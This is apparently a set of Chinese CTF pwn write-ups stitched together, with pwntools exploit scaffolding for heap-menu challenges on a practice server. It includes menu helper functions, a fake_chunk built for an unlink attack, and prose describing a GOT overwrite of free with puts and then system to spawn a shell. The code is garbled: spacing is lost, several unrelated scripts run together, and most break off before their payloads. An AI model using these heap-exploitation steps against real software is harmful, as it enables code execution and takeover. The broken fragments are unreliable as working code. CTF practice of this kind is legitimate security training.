#coding:utf-8 from pwn import * import os context.log_level='debug' context.terminal = ['tmux', 'splitw', '-h'] p=process('./a') gdb.attach(p,'b *0x400A6F\nb *0x400CDD\nc') """下面这三行代码是我用来tmux分三屏的,不需要的话注释即可""" os.system('tmux select-pane -L') os.system('tmux split-window') os.system('tmux set mouse on') defshow(): p.sendlineafter('Your choice:','1')
defadd(lenth,context): p.sendlineafter('Your choice:','2') p.sendlineafter('Please enter the length of item name:',str(lenth)) p.sendlineafter('Please enter the name of item:',context)
defchange(index,lenth,context): p.sendlineafter('Your choice:','3') p.sendlineafter('Please enter the index of item:',index) p.sendlineafter('Please enter the length of item name:',str(lenth)) p.sendafter('Please enter the new name of the item:',context)
defremove(index): p.sendlineafter('Your choice:','4') p.sendlineafter('Please enter the index of item:',index)
from pwn import * from tools import * p,e,libc=load('a') p=remote('node4.buuoj.cn',27507) #debug(p,0x400C27,0x400CDD) defshow(): p.recvuntil('Your choice:') p.sendline('1') defadd(lenth,context): p.recvuntil('Your choice:') p.sendline('2') p.recvuntil('Please enter the length of item name:') p.sendline(str(lenth)) p.recvuntil('Please enter the name of item:') p.sendline(context) defedit(index,lenth,context): p.recvuntil('Your choice:') p.send('3') p.recvuntil('Please enter the index of item:') p.sendline(str(index)) p.recvuntil('Please enter the length of item name:') p.sendline(str(lenth)) p.recvuntil('Please enter the new name of the item:') p.send(context) defdelete(index): p.recvuntil('Your choice:') p.sendline('4') p.recvuntil('Please enter the index of item:') p.sendline(str(index))
整体思路,利用溢出构造fake_chunk,然后释放引线堆块(就是fake_chunk下面(高地址)的那个chunk),此时已经可以去修改bss段上存储的chunk信息,由于不能直接寻址泄露函数的真实地址。因此需要去用puts来进行寻址泄露。先将free的got地址改为puts的plt地址,因为传给puts的参数是一个指针,然后puts就会进行寻址泄露,因此只要bss地址存放的chunk地址改成puts的got表,然后free掉这个位置的chunk(此时已经是puts的got表了,而且free被劫持成了puts),就可以泄露出来函数的真实地址了。然后同样的手法修改free的got表为system的地址就行,最后free掉装有/bin/sh的chunk即可获取shell。 tools这个函数库的源码在这 here
EXP
from tools import * p,e,libc=load('a') #p=remote('node4.buuoj.cn',26316) debug(p,0x400B7A,0x400A87)
from tools import * p,e,libc=load("a") #p=remote('node4.buuoj.cn',27755) #debug(p,0x400F4F)
defshow(index): p.recvuntil('option--->>\n') p.sendline('2') p.recvuntil('Input the id of the note:\n') p.sendline(str(index))
defadd(lenth,content): p.recvuntil('option--->>\n') p.sendline('1') p.recvuntil('Input the length of the note content:(less than 128)\n') p.sendline(str(lenth)) p.recvuntil('Input the note content:\n') p.sendline(content)
defedit(index,choice,content): p.recvuntil('option--->>\n') p.sendline('3') p.recvuntil('Input the id of the note:\n') p.sendline(str(index)) p.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]\n') p.sendline(str(choice)) p.recvuntil('TheNewContents:') p.sendline(content)
defdelete(index): p.recvuntil('option--->>\n') p.sendline('4') p.recvuntil('Input the id of the note:\n') p.sendline(str(index)) p.sendline('a') p.sendline('a') ptr=0x602120 fake_chunk=p64(0)+p64(0x71) fake_chunk+=p64(ptr-0x18)+p64(ptr-0x10)
from tools import * p,e,libc=load('a') p=remote('node4.buuoj.cn',27797) #debug(p,0x400BB9)
defadd(lenth,content): p.recvuntil('option--->>\n') p.sendline('1') p.recvuntil('Input the length of the note content:(less than 1024)\n') p.sendline(str(lenth)) p.recvuntil('Input the note content:\n') p.sendline(content)
defedit(index,content): p.recvuntil('option--->>\n') p.sendline('3') p.recvuntil('Input the id of the note:\n') p.sendline(str(index)) p.recvuntil('Input the new content:\n') p.sendline(content)
defdelete(index): p.recvuntil('option--->>\n') p.sendline('4') p.recvuntil('Input the id of the note:\n') p.sendline(str(index))
get_input函数中存在一个off_by_one漏洞。由于我们有程序基地址,所以就能拿到bss段上存储chunk信息的地址,就可以打unlink(这道题我最开始考虑的是off by one+double free+fastbin attack,不过在构造的时候想起来了,这道题释放的堆块进入不到fastbin中)
from tools import * p,e,libc= load("a") p=remote('node4.buuoj.cn',28336) context.arch='amd64' context.log_level='debug' d_a=0x11A8 d_d=0x11ba d_e=0x11e0 defadd(index,size,content): p.sendlineafter('>> ',str(1)) p.sendlineafter('Enter the index you want to create (0-10):',str(index)) p.sendlineafter('Enter a size:\n',str(size)) p.sendlineafter('Enter the content: \n',content) p.recvuntil('Done!\n') defedit(index,content): p.sendlineafter('>> ',str(4)) p.sendlineafter('Enter an index:\n',str(index)) p.sendlineafter('Enter the content: \n',content) p.recvuntil('Done!\n')